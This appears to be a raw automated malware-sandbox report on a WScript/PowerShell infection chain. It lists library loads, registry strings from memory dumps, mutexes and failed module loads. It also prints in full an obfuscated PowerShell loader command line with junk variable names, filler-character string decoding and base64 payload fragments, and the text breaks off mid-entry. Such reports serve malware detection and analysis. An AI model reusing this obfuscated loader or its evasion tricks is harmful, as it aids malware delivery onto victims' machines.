%WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\Microsoft.Mf49f6405#\e7f9e4af50c666b5fec85987c303915a\Microsoft.Management.Infrastr (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\CRYPT32.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\X86\MPCLIENT.DLL (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\X86\MsMpLics.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter GDI32.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter oleaut32 (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\\wminet_utils.dll (UID: 00000000-00006400) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\diasymreader.dll (UID: 00000000-00006400)31:T1993,"Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 2667-159-00F2D560 "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 2667-194-00F28190 "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 2667-194-00F28190 "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 2667-194-00F28190 "SOFTWARE\Microsoft\PowerShell\3" in Source: 2667-196-00F2BFA2 "SOFTWARE\Microsoft\PowerShell" in Source: 2667-207-00F28AF0 "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00006400.00000000.147073.00520000.00000004.mdmp 00000000-00006400.00000001.148995.00520000.00000004.mdmp 00000000-00006400.00000002.150913.00520000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00006400.00000000.147073.00520000.00000004.mdmp 00000000-00006400.00000001.148995.00520000.00000004.mdmp 00000000-00006400.00000002.150913.00520000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00006400.00000000.147073.00F21000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00006400.00000000.147073.00F21000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00006400.00000000.147073.00F21000.00000020.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00006400.00000000.147073.00F21000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00006400.00000000.147073.00F21000.00000020.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00006400.00000000.147073.00F21000.00000020.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00006400.00000000.147073.04880000.00000004.mdmp "System\CurrentControlSet\Control\MiniNT" in Source: 00000000-00006400.00000000.147073.04880000.00000004.mdmp "Software\Microsoft\PowerShell\" in Source: 00000000-00006400.00000000.147073.04880000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00006400.00000000.147073.04880000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00006400.00000000.147073.04880000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00006400.00000000.147073.04880000.00000004.mdmp "Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00006400.00000000.147073.04880000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00006400.00000000.147073.04880000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell" in Source: 00000000-00006400.00000000.147073.04880000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00006400.00000000.147073.04880000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00006400.00000000.147073.04880000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00006400.00000000.147073.04880000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00006400.00000000.147073.04880000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00006400.00000000.147073.04880000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00006400.00000000.147073.04880000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00006400.00000000.147073.04880000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00006400.00000000.147073.04880000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00006400.00000000.147073.04880000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00006400.00000000.147073.04880000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00006400.00000000.147073.04880000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00006400.00000000.147073.04880000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00006400.00000000.147073.04880000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00006400.00000000.147073.04880000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00006400.00000000.147073.04880000.00000004.mdmp "Registry\Machine\Software\Classes\C" in Source: 00000000-00006400.00000001.148995.08990000.00000004.mdmp 00000000-00006400.00000002.150913.08990000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{423EC01E-2E35-11D2-B604-00104B703EFD}" in Source: 00000000-00006400.00000001.148995.08990000.00000004.mdmp 00000000-00006400.00000002.150913.08990000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{027947E1-D731-11CE-A357-000000000001}" in Source: 00000000-00006400.00000001.148995.08990000.00000004.mdmp 00000000-00006400.00000002.150913.08990000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{9556DC99-828C-11CF-A37E-00AA003240C7}" in Source: 00000000-00006400.00000001.148995.08990000.00000004.mdmp 00000000-00006400.00000002.150913.08990000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{D4781CD6-E5D3-44DF-AD94-930EFE48A887}" in Source: 00000000-00006400.00000001.148995.08990000.00000004.mdmp 00000000-00006400.00000002.150913.08990000.00000004.mdmp "_MACHINE\SOFTWARE\Microsoft\.NETFramework" in Source: 00000000-00006400.00000001.148995.08990000.00000004.mdmp 00000000-00006400.00000002.150913.08990000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-735145574-3570218355-1207367261-1001" in Source: 00000000-00006400.00000001.148995.09567000.00000004.mdmp 00000000-00006400.00000002.150913.09567000.00000004.mdmp32:T898,Process WScript.exe created mutex with name "\BaseNamedObjects\SyncRootManager" Process WScript.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:6820:120:WilError_01" Process WScript.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:6820:304:WilStaging_02" Process WScript.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" Process WScript.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex" Process WScript.exe created mutex with name "Local\ZonesLockedCacheCounterMutex" Process WScript.exe created mutex with name "Local\SM0:6820:120:WilError_01" Process WScript.exe created mutex with name "Local\SM0:6820:304:WilStaging_02" Process WScript.exe created mutex with name "SM0:6820:304:WilStaging_02" Process WScript.exe created mutex with name "SM0:6820:120:WilError_01" Process WScript.exe created mutex with name "Local\ZonesCacheCounterMutex" Process WScript.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:6820:304:WilStaging_02" Process WScript.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:6820:120:WilError_01" Process powershell.exe created mutex with name "\BaseNamedObjects\CLR_PerfMon_WrapMutex" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:7432:304:WilStaging_02" Process powershell.exe created mutex with name "Local\SM0:7432:304:WilStaging_02" Process powershell.exe created mutex with name "SM0:7432:120:WilError_01" Process powershell.exe created mutex with name "SM0:7432:304:WilStaging_02" Process powershell.exe created mutex with name "Global\RasPbFile" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:7432:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:7432:120:WilError_01" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Global\RasPbFile" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:6400:168:WilStaging_02" Process powershell.exe created mutex with name "Local\SM0:6400:168:WilStaging_02"33:T1333,Process "powershell.exe" with commandline ""mp 'qurushes' 'friedes' 'bulgarerne';$mulcts=4;$habil=55;function kamikazepiloterne248 ($zoopraxiscope,$semipassively) {$anapsters=agurkens254('sammendrages exacerbating Damned Cispontine Conscriptio MMM[####iHHHHn !!!tVVVV] ppp$kkkkz****o gggokkkkp x xr WWWahhhhxCCCCi XXXs SSSc kkkoiiiip DDDeCCCC ___-kkkkbRRRRx');$anapsters+=agurkens254('Gip Hiraki Falsificerende Motorcycled Bankrolling Macke____oxxxxr rrr LLLL[ JJJirr rnee.et^^^^]d,dd$ >>>s eeee qqqm.CCCiPPPPp ^^^a&&&&sjjjjs <<>>i fffnttttgwwww(****$xxxxb====oGG Gr%%% dCCC m~~.~aH HHn dd )');snidest ($relaksationernes);if ($sunders) { snidest $uforudseelig}else {;$uforudseelig}}$fruticant=agurkens254('Scintillantly Leudes Picturised Disangularize Ejendomso:::::.JJJ:');$uinteresseredes=agurkens254 'Paleoethnological Engpiber Harpunen Autoportrait Tungah llI';$pheophytin=agurkens254('Pebers Calmato Antagonistens Mea Tyfusepidemierne unmagLLLL.');$uinteresseredes+=agurkens254 'Metalskiverne Tegnstningers Globally Benhaarde InsolvabEEEEE';$notifyee=@(82,101,103,105,115,116,101,114,101,100);$uinteresseredes+=agurkens254 'Arbejdsprocessernes Rigo Resulphurized Stavefejl HabiliFFF.X';$maxims66=Reservedeles114 'Z0tXSVsjDBwBCyUWRycnVFRCS1RpRTAAHUJRSUUcZFFcSQECX0NQVHxVTkk0EQYZCktgVVZZQ0VVQ0UiOxcCDxwMSkNQVHxV';$eduard=Reservedeles114 'OhETGQBOSl0BFjsTAkcUGwoVCQF8BggEXAEGTQAcIgoVHU4QCgULCD0EA08aEFhDAFwnXQAkRDwAOz8PMEgTESQkKhURBhoWBQAfJg9HEwo=';$satellitesimal=Reservedeles114 'bA==';$retningslinies='\\Portefljeteoriernes.Mic';Reservedeles114 'dgILBhEVCUgHBTMLAxoHGxVPQQE8E10IAwQBExEFeUEVDAcaDBwCFz4MCQAWBw==' 1;Reservedeles114 'dgILBhEVCUgICzYXAg4dERFPQQE2EAYbF1oWAgkNJk1DGhIAAB4JDSYAFAAeFQlb' 1;Reservedeles114 'CSsCHV0nAAATDTEANwYaGhE/BAozAgIbLk5fIQAHJxcOHQokFx0RCzEKC1RARFJA' 1;$eduard=$modregnet[0];$opkastningsfornemmelsernes=(Reservedeles114 'dgILBhEVCUgXASAMABpOOgAFSCswDwIKB1QrFxFKBQAFKh8dABwR');snidest ($opkastningsfornemmelsernes);Reservedeles114 'dhcCGxoTFlwtATMBAhsALz48ABB8LRMdAyYAAxABIREvDBIQAAA4UGI4Wk0eFR0bCBdkUw==' 1;$nymarxismen=Reservedeles114 'FgoQBx8bBBYjDT4A';$repulsor=Reservedeles114 'dhcCGxoTFlxBCisIBhsLHRYfAAp8LAkfHB8AWkEBNhAGGxdYQRQKESAEAAwBHQsVAAp7';$fourageringen=$baandstop;Reservedeles114 'dgILBhEVCUgECiYMDwwBGwwRVFJlWE89FgcRXzUFJg1HTRUbEAAEAzcXDgcUEQtb' 1;while (!$antiheroic167) {Reservedeles114 'dgILBhEVCUgqEjcXFAISBlhWERYnAA==' 1;snidest $repulsor;Reservedeles114 'AQkCDANcUVs=' 1;Reservedeles114 'dgILBhEVCUgECiYMDwwBGwwRVFJlWE89FgcRXzUFJg1HTRUbEAAEAzcXDgcUEQtb' 1 ;Reservedeles114 'dgILBhEVCUgJCzkKCgYHHRMXFwo3WEMOHxsHEwleOQoJGgcGEBkRDT0LFAAdBxEbEREmABUHFl9OV0EJPQEVDBQaAAZLBz0QCR0=' 1;$eduard=$modregnet[$lokomotiverne]}$forskningsomraadet30=161664;$timmos=20605;Reservedeles114 'dgILBhEVCUgEBzsBEhsaFVgVBkR2AwgcARUCFxcNPAICBw==' 1;Reservedeles114 'dgILBhEVCUg2Dz0TEQYUGgAcFlkJJggHBREXBjheaCMVBh42BAEAUmY2ExsaGgJaQQUxDAMcAR0EWw==' 1;Reservedeles114 'dgILBhEVCUgAHCYHCAYYST4mABwmSyIHEBsBGwsDD19dKCA3LDtLIzcRNB0BHQsVTUABDggfBRsCHAAKIUw=' 1;Reservedeles114 'dgILBhEVCUgDBTwRBhoeERdPQQEqEQUGHB9LARAGIREVAB0TTVYDCyAWDAcaGgIBCgkgBAYNFgBWQklAJgwKBBwHTA==' 1;snidest $fantasmer;"" (UID: 00000000-00007432)34:T16c3,"powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135]35:T2f21,"o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00006400.00000000.147073.00520000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00006400.00000000.147073.00520000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00006400.00000000.147073.00F21000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00006400.00000000.147073.00F21000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00006400.00000000.147073.00F21000.00000020.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00006400.00000000.147073.00F21000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00006400.00000000.147073.00F21000.00000020.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00006400.00000000.147073.00F21000.00000020.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00006400.00000000.147073.04880000.00000004.mdmp "System\CurrentControlSet\Control\MiniNT" in Source: 00000000-00006400.00000000.147073.04880000.00000004.mdmp "Software\Microsoft\PowerShell\" in Source: 00000000-00006400.00000000.147073.04880000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00006400.00000000.147073.04880000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00006400.00000000.147073.04880000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00006400.00000000.147073.04880000.00000004.mdmp "Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00006400.00000000.147073.04880000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00006400.00000000.147073.04880000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell" in Source: 00000000-00006400.00000000.147073.04880000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00006400.00000000.147073.04880000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00006400.00000000.147073.04880000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00006400.00000000.147073.04880000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 